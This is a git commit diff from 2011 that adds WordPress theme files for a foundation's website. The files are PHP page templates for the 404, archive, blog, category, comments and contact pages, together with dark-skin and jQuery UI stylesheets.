git-svn-id: https://192.168.0.254/svn/Proyectos.FundacionLQDVI_Web/trunk@11 77ab8c26-3d69-2c4d-86f2-786f4ba54905
This commit is contained in:
David Arranz 2011-06-21 10:28:29 +00:00
parent 3d8d7aba5e
commit 6ed4bd6544
439 changed files with 39684 additions and 65 deletions

File diff suppressed because one or more lines are too long

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,46 @@
<?php
/**
* The main template file for display error page.
*
* @package WordPress
*/
get_header();
?>
<div class="page_caption">
<div class="caption_inner">
<div class="caption_header">
<h2 class="cufon">404 Not Found</h2>
</div>
<br class="clear"/>
</div>
</div>
<!-- Begin content -->
<div id="content_wrapper" class="content_bg">
<div class="inner">
<!-- Begin main content -->
<div class="inner_wrapper">
<div class="sidebar_content">
<h2 class="cufon"><?php _e( 'Oops!', 'Soon' ); ?></h2>
<p><?php _e( 'Apologies, but the page you requested could not be found. Perhaps searching will help.', 'Soon' ); ?></p>
</div>
</div>
<!-- End main content -->
<br class="clear"/><br/><br/><br/><br/><br/><br/>
</div>
</div>
<!-- End content -->
<?php get_footer(); ?>

View File

@ -0,0 +1,227 @@
<?php
/**
* The main template file for display archive page.
*
* @package WordPress
*/
$post_type = get_post_type();
if($post_type == 'portfolios')
{
$pp_portfolio_style = get_option('pp_portfolio_style');
if(empty($pp_portfolio_style))
{
$pp_portfolio_style = '1';
}
include (TEMPLATEPATH . "/templates/template-portfolio-".$pp_portfolio_style.".php");
exit;
}
elseif($post_type == 'photos')
{
include (TEMPLATEPATH . "/gallery.php");
exit;
}
elseif($post_type == 'videos')
{
include (TEMPLATEPATH . "/video_gallery.php");
exit;
}
else
{
get_header();
$page_style = 'Right Sidebar';
$page_sidebar = 'Blog Sidebar';
$caption_class = "page_caption";
$add_sidebar = TRUE;
$sidebar_class = '';
if($page_style == 'Right Sidebar')
{
$add_sidebar = TRUE;
$page_class = 'sidebar_content';
}
elseif($page_style == 'Left Sidebar')
{
$add_sidebar = TRUE;
$page_class = 'sidebar_content';
$sidebar_class = 'left_sidebar';
}
else
{
$page_class = 'inner_wrapper';
}
$pp_title = get_option('pp_blog_title');
if(empty($pp_title))
{
$pp_title = 'Blog';
}
if(!isset($hide_header) OR !$hide_header)
{
?>
<div class="<?php echo $caption_class?>">
<div class="caption_inner">
<div class="caption_header">
<h2 class="cufon"><?php echo $pp_title; ?>
<?php if ( is_day() ) : ?>
<?php printf( __( 'Archives / %s', '' ), get_the_date() ); ?>
<?php elseif ( is_month() ) : ?>
<?php printf( __( 'Archives / %s', '' ), get_the_date('F Y') ); ?>
<?php elseif ( is_year() ) : ?>
<?php printf( __( 'Archives / %s', '' ), get_the_date('Y') ); ?>
<?php else : ?>
<?php _e( 'Blog Archives', '' ); ?>
<?php endif; ?></h2>
</div>
<br class="clear"/>
</div>
</div>
<!-- Begin content -->
<div id="content_wrapper" class="content_bg">
<div class="inner">
<!-- Begin main content -->
<div class="inner_wrapper"><br class="clear"/>
<?php
}
?>
<?php
if($add_sidebar && $page_style == 'Left Sidebar')
{
?>
<div class="sidebar_wrapper <?php echo $sidebar_class; ?>">
<div class="sidebar <?php echo $sidebar_class; ?> <?php echo $sidebar_home; ?>">
<div class="content">
<ul class="sidebar_widget">
<?php dynamic_sidebar($page_sidebar); ?>
</ul>
</div>
</div>
<br class="clear"/>
<div class="sidebar_bottom <?php echo $sidebar_class; ?>"></div>
</div>
<?php
}
?>
<div class="sidebar_content">
<?php
global $more; $more = false; # some wordpress wtf logic
if (have_posts()) : while (have_posts()) : the_post();
$image_thumb = '';
if(has_post_thumbnail(get_the_ID(), 'large'))
{
$image_id = get_post_thumbnail_id(get_the_ID());
$image_thumb = wp_get_attachment_image_src($image_id, 'large', true);
$pp_blog_image_width = 570;
$pp_blog_image_height = 260;
}
?>
<!-- Begin each blog post -->
<div class="post_wrapper">
<div class="post_header">
<h3 class="cufon">
<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>">
<?php the_title(); ?>
</a>
</h3>
<div class="post_detail">
Posted by:&nbsp;<?php the_author(); ?>&nbsp;&nbsp;&nbsp;
Tags:&nbsp;
<?php the_tags(''); ?>&nbsp;&nbsp;&nbsp;
Posted date:&nbsp;
<?php the_time('F j, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
&nbsp;|&nbsp;
<?php comments_number('No comment', 'Comment', '% Comments'); ?>
</div>
</div>
<br class="clear"/><br/>
<?php echo get_the_content_with_formatting(); ?>
</div>
<!-- End each blog post -->
<?php endwhile; endif; ?>
<div class="pagination"><p><?php posts_nav_link(' '); ?></p></div>
</div>
<div class="sidebar_wrapper <?php echo $sidebar_class; ?>">
<div class="sidebar_top <?php echo $sidebar_class; ?>"></div>
<div class="sidebar <?php echo $sidebar_class; ?> <?php echo $sidebar_home; ?>">
<div class="content">
<ul class="sidebar_widget">
<?php dynamic_sidebar($page_sidebar); ?>
</ul>
</div>
</div>
<br class="clear"/>
<div class="sidebar_bottom <?php echo $sidebar_class; ?>"></div>
</div>
</div>
<!-- End main content -->
<br class="clear"/>
</div>
<?php
if(!isset($hide_header) OR !$hide_header)
{
?>
</div>
<!-- End content -->
<?php get_footer(); ?>
<?php
}
}
?>

View File

@ -0,0 +1,292 @@
<?php
/**
* Template Name: Blog
* The main template file for display blog page.
*
* @package WordPress
*/
/**
* Get Current page object
**/
$page = get_page($post->ID);
/**
* Get current page id
**/
if(!isset($current_page_id) && isset($page->ID))
{
$current_page_id = $page->ID;
}
if(!isset($hide_header) OR !$hide_header)
{
get_header();
}
$page_style = get_post_meta($current_page_id, 'page_style', true);
$page_sidebar = get_post_meta($current_page_id, 'page_sidebar', true);
$caption_style = get_post_meta($current_page_id, 'caption_style', true);
if(empty($caption_style))
{
$caption_style = 'Title & Description';
}
if(!isset($sidebar_home))
{
$sidebar_home = '';
}
if(empty($page_sidebar))
{
$page_sidebar = 'Blog Sidebar';
}
$caption_class = "page_caption";
if(!isset($add_sidebar))
{
$add_sidebar = FALSE;
}
$sidebar_class = '';
if($page_style == 'Right Sidebar')
{
$add_sidebar = TRUE;
$page_class = 'sidebar_content';
}
elseif($page_style == 'Left Sidebar')
{
$add_sidebar = TRUE;
$page_class = 'sidebar_content';
$sidebar_class = 'left_sidebar';
}
else
{
$page_class = 'inner_wrapper';
}
$pp_title = get_option('pp_blog_title');
if(empty($pp_title))
{
$pp_title = 'Blog';
}
if(!isset($hide_header) OR !$hide_header)
{
?>
<div class="<?php echo $caption_class?>">
<div class="caption_inner">
<?php
$page_desc = get_post_meta($current_page_id, 'page_desc', true);
switch($caption_style)
{
case 'Description Only':
if(!empty($page_desc))
{
?>
<div class="caption_header">
<h2 class="cufon"><?php echo $page_desc; ?></h2>
</div>
<?php
}
break;
case 'Title Only':
?>
<div class="caption_header">
<h1 class="cufon"><?php echo $pp_title; ?></h1>
</div>
<?php
break;
case 'Title & Description':
?>
<div class="caption_header">
<h1 class="cufon"><?php echo $pp_title; ?></h1>
</div>
<div class="caption_desc">
<?php echo $page_desc; ?>
</div>
<?php
break;
}
?>
<br class="clear"/>
</div>
</div>
<!-- Begin content -->
<div id="content_wrapper" class="content_bg">
<div class="inner">
<!-- Begin main content -->
<div class="inner_wrapper"><br class="clear"/>
<?php
}
?>
<?php
if($add_sidebar && $page_style == 'Left Sidebar')
{
?>
<div class="sidebar_wrapper <?php echo $sidebar_class; ?>">
<div class="sidebar <?php echo $sidebar_class; ?> <?php echo $sidebar_home; ?>">
<div class="content">
<ul class="sidebar_widget">
<?php dynamic_sidebar($page_sidebar); ?>
</ul>
</div>
</div>
<br class="clear"/>
<div class="sidebar_bottom <?php echo $sidebar_class; ?>"></div>
</div>
<?php
}
?>
<div class="sidebar_content">
<?php
global $more; $more = false; # some wordpress wtf logic
$query_string ="post_type=post&paged=$paged";
$cat_id = get_cat_ID(single_cat_title('', false));
if(!empty($cat_id))
{
$query_string.= '&cat='.$cat_id;
}
query_posts($query_string);
if (have_posts()) : while (have_posts()) : the_post();
$image_thumb = '';
if(has_post_thumbnail(get_the_ID(), 'large'))
{
$image_id = get_post_thumbnail_id(get_the_ID());
$image_thumb = wp_get_attachment_image_src($image_id, 'large', true);
$pp_blog_image_width = 570;
$pp_blog_image_height = 260;
}
?>
<!-- Begin each blog post -->
<div class="post_wrapper">
<div class="post_header">
<h3 class="cufon">
<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>">
<?php the_title(); ?>
</a>
</h3>
<div class="post_detail">
Posted by:&nbsp;<?php the_author(); ?>&nbsp;&nbsp;&nbsp;
Posted date:&nbsp;
<?php the_time('F j, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
&nbsp;|&nbsp;
<?php comments_number('No comment', 'Comment', '% Comments'); ?>
</div>
</div>
<?php
if(!empty($image_thumb))
{
?>
<br class="clear"/><br/>
<div class="post_img img_shadow_536" style="width:<?php echo $pp_blog_image_width+10; ?>px;height:<?php echo $pp_blog_image_height+30; ?>px">
<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>">
<img src="<?php echo get_bloginfo( 'stylesheet_directory' ); ?>/timthumb.php?src=<?php echo $image_thumb[0]; ?>&amp;h=<?php echo $pp_blog_image_height; ?>&amp;w=<?php echo $pp_blog_image_width; ?>&amp;zc=1" alt="" class="frame"/>
</a>
</div>
<?php
}
?>
<br class="clear"/><br/><br/>
<?php echo get_the_content_with_formatting(); ?>
</div>
<!-- End each blog post -->
<?php endwhile; endif; ?>
<div class="pagination"><p><?php posts_nav_link(' '); ?></p></div>
</div>
<?php
if($add_sidebar && $page_style == 'Right Sidebar')
{
?>
<div class="sidebar_wrapper <?php echo $sidebar_class; ?>">
<div class="sidebar_top <?php echo $sidebar_class; ?>"></div>
<div class="sidebar <?php echo $sidebar_class; ?> <?php echo $sidebar_home; ?>">
<div class="content">
<ul class="sidebar_widget">
<?php dynamic_sidebar($page_sidebar); ?>
</ul>
</div>
</div>
<br class="clear"/>
<div class="sidebar_bottom <?php echo $sidebar_class; ?>"></div>
</div>
<?php
}
?>
</div>
<!-- End main content -->
<br class="clear"/>
</div>
<?php
if(!isset($hide_header) OR !$hide_header)
{
?>
</div>
<!-- End content -->
<?php get_footer(); ?>
<?php
}
?>

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

View File

View File

@ -0,0 +1,170 @@
<?php
/**
* The main template file for display blog page.
*
* @package WordPress
*/
get_header();
$page_sidebar = get_post_meta($current_page_id, 'page_sidebar', true);
if(empty($page_sidebar))
{
$page_sidebar = 'Blog Sidebar';
}
$caption_class = "page_caption";
$pp_title = get_option('pp_blog_title');
if(empty($pp_title))
{
$pp_title = 'Blog';
}
?>
<div class="<?php echo $caption_class?>">
<div class="caption_inner">
<div class="caption_header">
<h2 class="cufon"><?php echo $pp_title; ?> Category / <?php
printf( __( ' %s', 'Soon' ), '' . single_cat_title( '', false ) . '' );
?></h2>
</div>
<br class="clear"/>
</div>
</div>
<!-- Begin content -->
<div id="content_wrapper" class="content_bg">
<div class="inner">
<!-- Begin main content -->
<div class="inner_wrapper"><br class="clear"/>
<?php
if($add_sidebar && $page_style == 'Left Sidebar')
{
?>
<div class="sidebar_wrapper <?php echo $sidebar_class; ?>">
<div class="sidebar <?php echo $sidebar_class; ?> <?php echo $sidebar_home; ?>">
<div class="content">
<ul class="sidebar_widget">
<?php dynamic_sidebar($page_sidebar); ?>
</ul>
</div>
</div>
<br class="clear"/>
<div class="sidebar_bottom <?php echo $sidebar_class; ?>"></div>
</div>
<?php
}
?>
<div class="sidebar_content">
<?php
global $more; $more = false; # some wordpress wtf logic
$query_string ="post_type=post&paged=$paged";
$cat_id = get_cat_ID(single_cat_title('', false));
if(!empty($cat_id))
{
$query_string.= '&cat='.$cat_id;
}
query_posts($query_string);
if (have_posts()) : while (have_posts()) : the_post();
$image_thumb = '';
if(has_post_thumbnail(get_the_ID(), 'large'))
{
$image_id = get_post_thumbnail_id(get_the_ID());
$image_thumb = wp_get_attachment_image_src($image_id, 'large', true);
$pp_blog_image_width = 570;
$pp_blog_image_height = 260;
}
?>
<!-- Begin each blog post -->
<div class="post_wrapper">
<div class="post_header">
<h3 class="cufon">
<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>">
<?php the_title(); ?>
</a>
</h3>
<div class="post_detail">
Posted by:&nbsp;<?php the_author(); ?>&nbsp;&nbsp;&nbsp;
Tags:&nbsp;
<?php the_tags(''); ?>&nbsp;&nbsp;&nbsp;
Posted date:&nbsp;
<?php the_time('F j, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
&nbsp;|&nbsp;
<?php comments_number('No comment', 'Comment', '% Comments'); ?>
</div>
</div>
<br class="clear"/><br/>
<?php echo get_the_content_with_formatting(); ?>
</div>
<!-- End each blog post -->
<?php endwhile; endif; ?>
<div class="pagination"><p><?php posts_nav_link(' '); ?></p></div>
</div>
<div class="sidebar_wrapper <?php echo $sidebar_class; ?>">
<div class="sidebar_top <?php echo $sidebar_class; ?>"></div>
<div class="sidebar <?php echo $sidebar_class; ?> <?php echo $sidebar_home; ?>">
<div class="content">
<ul class="sidebar_widget">
<?php dynamic_sidebar($page_sidebar); ?>
</ul>
</div>
</div>
<br class="clear"/>
<div class="sidebar_bottom <?php echo $sidebar_class; ?>"></div>
</div>
</div>
<!-- End main content -->
<br class="clear"/>
</div>
</div>
<!-- End content -->
<?php get_footer(); ?>

View File

@ -0,0 +1,30 @@
<?php
if ( post_password_required() ) { ?>
<p>This post is password protected. Enter the password to view comments.</p>
<?php
return;
}
if( have_comments() ) : ?>
<h5 class="cufon"><?php comments_number('No comment', 'Comment', '% Comments'); ?> for <?php the_title(); ?></h5><br/>
<?php wp_list_comments( array('callback' => 'pp_comment', 'avatar_size' => '40') ); ?>
<!-- End of thread -->
<br class="clear"/><br/>
<?php endif; ?>
<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?>
<div class="pagination"><p><?php previous_comments_link(); ?> <?php next_comments_link(); ?></p></div><br class="clear"/><div class="line"></div><br/><br/>
<?php endif; // check for comment navigation ?>
<?php if ('open' == $post->comment_status) : ?>
<div id="respond">
<?php include(TEMPLATEPATH . '/templates/comments-form.php'); ?>
</div>
<?php endif; ?>

View File

@ -0,0 +1,255 @@
<?php
/**
* Template Name: Contact
* The main template file for display contact page.
*
* @package WordPress
*/
/**
* if not submit form
**/
if(!isset($_GET['your_name']))
{
if(!isset($hide_header) OR !$hide_header)
{
get_header();
}
/**
* Get Current page object
**/
$page = get_page($post->ID);
/**
* Get current page id
**/
if(!isset($current_page_id) && isset($page->ID))
{
$current_page_id = $page->ID;
}
$page_description = get_post_meta($current_page_id, 'page_description', true);
$page_sidebar = get_post_meta($current_page_id, 'page_sidebar', true);
if(empty($page_sidebar))
{
$page_sidebar = 'Contact Sidebar';
}
$caption_class = 'page_caption';
$caption_style = get_post_meta($current_page_id, 'caption_style', true);
if(empty($caption_style))
{
$caption_style = 'Title & Description';
}
if(!isset($hide_header) OR !$hide_header)
{
?>
<div class="<?php echo $caption_class?>">
<div class="caption_inner">
<?php
$page_desc = get_post_meta($current_page_id, 'page_desc', true);
switch($caption_style)
{
case 'Description Only':
if(!empty($page_desc))
{
?>
<div class="caption_header">
<h2 class="cufon"><?php echo $page_desc; ?></h2>
</div>
<?php
}
break;
case 'Title Only':
?>
<div class="caption_header">
<h1 class="cufon"><?php the_title(); ?></h1>
</div>
<?php
break;
case 'Title & Description':
?>
<div class="caption_header">
<h1 class="cufon"><?php the_title(); ?></h1>
</div>
<div class="caption_desc">
<?php echo $page_desc; ?>
</div>
<?php
break;
}
?>
<br class="clear"/>
</div>
</div>
<!-- Begin content -->
<div id="content_wrapper" class="content_bg">
<div class="inner">
<!-- Begin main content -->
<div class="inner_wrapper">
<?php
}
?>
<div class="sidebar_content">
<?php
if(!isset($hide_header) OR !$hide_header)
{
if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
<?php the_content(); break; ?><br/><br/>
<?php endwhile;
}
?>
<form id="contact_form" method="post" action="<?php echo curPageURL(); ?>" style="margin-top:10px">
<p>
<label for="your_name">Name</label><br/>
<input id="your_name" name="your_name" type="text" style="width:94%"/>
</p>
<p style="margin-top:20px">
<label for="email">Email</label><br/>
<input id="email" name="email" type="text" style="width:94%"/>
</p>
<p style="margin-top:20px">
<label for="message">Message</label><br/>
<textarea id="message" name="message" rows="7" cols="10" style="width:94%"></textarea>
</p>
<p style="margin-top:20px">
<input type="submit" value="Send Message"/><br/>
</p>
</form>
<div id="reponse_msg"></div>
<br/><br/>
</div>
<div class="sidebar_wrapper">
<div class="sidebar_top"></div>
<div class="sidebar">
<div class="content">
<ul class="sidebar_widget">
<?php dynamic_sidebar($page_sidebar); ?>
</ul>
</div>
</div>
<br class="clear"/>
<div class="sidebar_bottom"></div>
</div>
</div>
<!-- End main content -->
<br class="clear"/>
<?php
if(!isset($hide_header) OR !$hide_header)
{
?>
</div>
</div>
<!-- End content -->
<?php get_footer(); ?>
<?php
}
?>
<?php
}
//if submit form
else
{
/*
|--------------------------------------------------------------------------
| Mailer module
|--------------------------------------------------------------------------
|
| These module are used when sending email from contact form
|
*/
//Get your email address
$contact_email = get_option('pp_contact_email');
//Enter your email address, email from contact form will send to this addresss. Please enter inside quotes ('myemail@email.com')
define('DEST_EMAIL', $contact_email);
//Change email subject to something more meaningful
define('SUBJECT_EMAIL', 'Email from contact form');
//Thankyou message when message sent
define('THANKYOU_MESSAGE', 'Thank you! We will get back to you as soon as possible');
//Error message when message can't send
define('ERROR_MESSAGE', 'Oops! something went wrong, please try to submit later.');
/*
|
| Begin sending mail
|
*/
$from_name = $_GET['your_name'];
$from_email = $_GET['email'];
$message = 'Name: '.$from_name.PHP_EOL;
$message.= 'Email: '.$from_email.PHP_EOL.PHP_EOL;
$message.= 'Message: '.PHP_EOL.$_GET['message'];
if(!empty($from_name) && !empty($from_email) && !empty($message))
{
mail(DEST_EMAIL, SUBJECT_EMAIL, $message);
echo THANKYOU_MESSAGE;
echo '</p>';
exit;
}
else
{
echo ERROR_MESSAGE;
exit;
}
/*
|
| End sending mail
|
*/
}
?>

View File

@ -0,0 +1,362 @@
pre, code, tt {font:13px 'andale mono', 'lucida console', monospace;line-height:1.5;padding: 20px;background: #222}
#footer
{
background: #000;
}
#header_wrapper
{
background: #000;
}
#top_bar
{
background: #000;
}
#menu_wrapper .nav ul li a, #menu_wrapper .menu-main-menu-container .nav li a
{
color: #ccc;
text-shadow: 0 1px 1px #000;
}
#menu_wrapper .nav ul li ul, #menu_wrapper .menu-main-menu-container .nav li ul
{
background: #000;
border-top: 1px solid #000;
border-bottom: 1px solid #000;
-moz-box-shadow: 0 1px 5px #000;
-webkit-box-shadow: 0 1px 5px #000;
box-shadow: 0px 1px 5px #000;
}
#menu_wrapper .menu-main-menu-container .nav li ul li a, #menu_wrapper .menu-main-menu-container .nav li.current-menu-item ul li a, #menu_wrapper .menu-main-menu-container .nav li ul li.current-menu-item a
{
color: #ccc;
}
#menu_wrapper .menu-main-menu-container .nav li ul li a.hover
{
background: transparent url('../images/menu_hover_dark.png') top repeat-x;
color: #fff;
}
#content_wrapper
{
background: #000;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
color: #ccc;
text-shadow: 0 1px 1px #000;
}
h1, h2, h3, h4, h5, .sidebar_content h1, .sidebar_content h2, .sidebar_content h3, .sidebar_content h4, .sidebar_content h5, .sidebar_content h6
{
color: #fff;
}
#content_wrapper .inner .inner_wrapper .sidebar_wrapper
{
border-left: 1px solid #444;
}
#anything_slider .arrow.forward
{
background: transparent url('../images/right_slide_nav_dark.png') no-repeat;
}
#anything_slider .arrow.back
{
background: transparent url('../images/left_slide_nav_dark.png') no-repeat;
}
.nivo-prevNav {
background: transparent url('../images/left_slide_nav_dark.png') no-repeat;
}
.nivo-nextNav {
background: transparent url('../images/right_slide_nav_dark.png') no-repeat;
}
.roundabout-moveable-item {
background: #000;
border: 1px solid #444;
-webkit-box-shadow: 1px 1px 5px #000;
-moz-box-shadow: 1px 1px 5px #000;
box-shadow: 1px 1px 5px #000;
}
img.frame
{
border: 1px solid #444;
}
.frame_left
{
border: 1px solid #444;
}
.frame_left .caption, .frame_right .caption, .frame_center .caption
{
color: #ccc;
}
.frame_right
{
border: 1px solid #444;
}
.frame_center
{
border: 1px solid #444;
}
#content_wrapper .sidebar .content .posts.blog li img, #content_wrapper .posts.blog li img
{
border: 1px solid #444;
}
input[type=text], input[type=password], select
{
border: 1px solid #444;
}
input[type=text].blur
{
color: #666;
}
textarea
{
color: #ccc;
border: 1px solid #444;
}
input[type=text]:hover, input[type=password]:hover, textarea:hover
{
border: 1px solid #999;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
}
.pricing_box
{
border: 1px solid #444;
}
.pricing_box .header
{
color: #fff;
text-shadow: 0 1px 1px #000;
border-bottom: 1px solid #444;
background: #333 url('../images/caption_bg_dark.png') bottom repeat-x;
}
.pricing_box.large
{
background: transparent;
-moz-box-shadow: 0 1px 10px #000;
-webkit-box-shadow: 0 1px 10px #000;
box-shadow: 0px 1px 10px #000;
}
#searchform label
{
color: #fff;
}
.page_caption
{
background: transparent url('../images/caption_bg_dark.png') center repeat-x;
}
.post_header .post_detail, .recent_post_detail
{
border-top: 1px solid #444;
border-bottom: 1px solid #444;
}
.post_header a
{
color: #fff;
}
.post_header h3 a
{
color: #fff;
}
.post_header a:hover
{
color: #fff;
}
.post_img img
{
border: 1px solid #444;
}
.post_img_date
{
background: #000;
color: #fff;
text-shadow: 0 0 0 #000;
}
#respond
{
border-bottom: 1px solid #444;
}
#about_the_author
{
border-bottom: 1px solid #444;
}
.related_posts
{
border-bottom: 1px solid #444;
}
#about_the_author .thumb img
{
border: 1px solid #444;
}
.comment .left img.avatar
{
border: 1px solid #444;
background: #000;
}
.portfolio1_hover, .portfolio2_hover, .portfolio3_hover, .portfolio4_hover
{
background: #000
}
#content_wrapper table
{
border: 1px solid #444;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
}
#content_wrapper table tr
{
background: #000;
}
#content_wrapper table tr td, #content_wrapper table tr th
{
border-bottom: 1px solid #444;
}
#content_wrapper table tr th
{
font-weight: bold;
background: #444 url('../images/caption_bg_dark.png') bottom repeat-x;
text-align: left;
text-shadow: 0 1px 1px #000;
color: #fff;
}
.pagination a {
background: #222;
border: 1px solid #444;
color: #ccc;
text-shadow: 0 1px 1px #000;
}
.pagination a:hover {
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
border: 1px solid #444;
background: #444 url('../images/caption_bg_dark.png') bottom repeat-x;
}
.pagination a:active, .pagination a.active {
color: #fff;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
border: 1px solid #444;
background: #444 url('../images/caption_bg_dark.png') bottom repeat-x;
}
.accordion
{
border: 1px solid #444;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
}
.ui-accordion .ui-accordion-header
{
background: #333 url('../images/caption_bg_dark.png') center repeat-x;
}
.ui-accordion .ui-accordion-header a
{
color: #fff;
}
.accordion div
{
border-top: 1px solid #444;
}
.ui-widget-header
{
border-bottom: 1px solid #444;
}
.tabs .ui-state-default a
{
color: #ccc;
}
.tabs .ui-state-active, .tabs .ui-state-default
{
background: #000;
text-shadow: 0 1px 1px #000;
border: 1px solid #444;
}
.tabs .ui-tabs-panel
{
border: 1px solid #444;
-moz-box-shadow: 0 1px 3px #000;
-webkit-box-shadow: 0 1px 3px #000;
box-shadow: 0px 1px 3px #000;
background: #000 url('../images/caption_bg_dark.png') center repeat-x;
}
.tabs .ui-state-active a
{
color: #fff;
}
hr
{
border-top: 1px solid #444;
}
.line_shadow
{
height: 1px;
}
#content_wrapper .sidebar .content .sidebar_widget li ul.flickr li img, #footer .sidebar_widget li ul.flickr li img
{
border: 1px solid #444;
}
#footer .posts.blog li img
{
border: 1px solid #444;
}

View File

@ -0,0 +1 @@
.slideshow #thumbNav { margin-top: 62% }

View File

@ -0,0 +1,5 @@
.slideshow #thumbNav { margin-top: 56% }
#slider_wrapper {
margin-top: -20px;
}

View File

@ -0,0 +1,310 @@
/*
* jQuery UI CSS Framework
* Copyright (c) 2010 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses.
*/
/* Layout helpers
----------------------------------*/
.ui-helper-hidden { display: none; }
.ui-helper-hidden-accessible { position: absolute; left: -99999999px; }
.ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; }
.ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; }
.ui-helper-clearfix { display: inline-block; }
/* required comment for clearfix to work in Opera \*/
* html .ui-helper-clearfix { height:1%; }
.ui-helper-clearfix { display:block; }
/* end clearfix */
.ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); }
/* Interaction Cues
----------------------------------*/
.ui-state-disabled { cursor: default !important; }
/* Icons
----------------------------------*/
/* states and images */
.ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; }
/* Misc visuals
----------------------------------*/
/* Overlays */
.ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
/*
* jQuery UI CSS Framework
* Copyright (c) 2010 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses.
* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px
*/
/* Component containers
----------------------------------*/
.ui-widget .ui-widget { font-size: 1em; }
.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-size: 1em; }
.ui-widget-content { border: 1px solid #ccc; background: transparent}
.ui-widget-content a { color: #222222; }
.ui-widget-header { border-bottom: 1px solid #aaaaaa; background: #cccccc url(images/ui-bg_highlight-soft_75_cccccc_1x100.png) 50% 50% repeat-x; font-weight: bold; }
.ui-widget-header a { }
/* Interaction states
----------------------------------*/
.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #d3d3d3; background: #e6e6e6 url(images/ui-bg_glass_75_e6e6e6_1x400.png) 50% 50% repeat-x; font-weight: normal; color: #555555; }
.ui-state-default { background: #fff; }
.ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #555555; text-decoration: none; }
.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #999999; background: #dadada url(images/ui-bg_glass_75_dadada_1x400.png) 50% 50% repeat-x; font-weight: normal; color: #212121; }
.ui-state-hover, .ui-widget-header, .ui-state-default { background: transparent; }
.ui-state-hover a, .ui-state-hover a:hover { color: #212121; text-decoration: none; }
.ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #ccc; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: normal; color: #212121; }
.ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #212121; text-decoration: none; }
.ui-widget :active { outline: none; }
/* Interaction Cues
----------------------------------*/
.ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fcefa1; background: #fbf9ee url(images/ui-bg_glass_55_fbf9ee_1x400.png) 50% 50% repeat-x; color: #363636; }
.ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; }
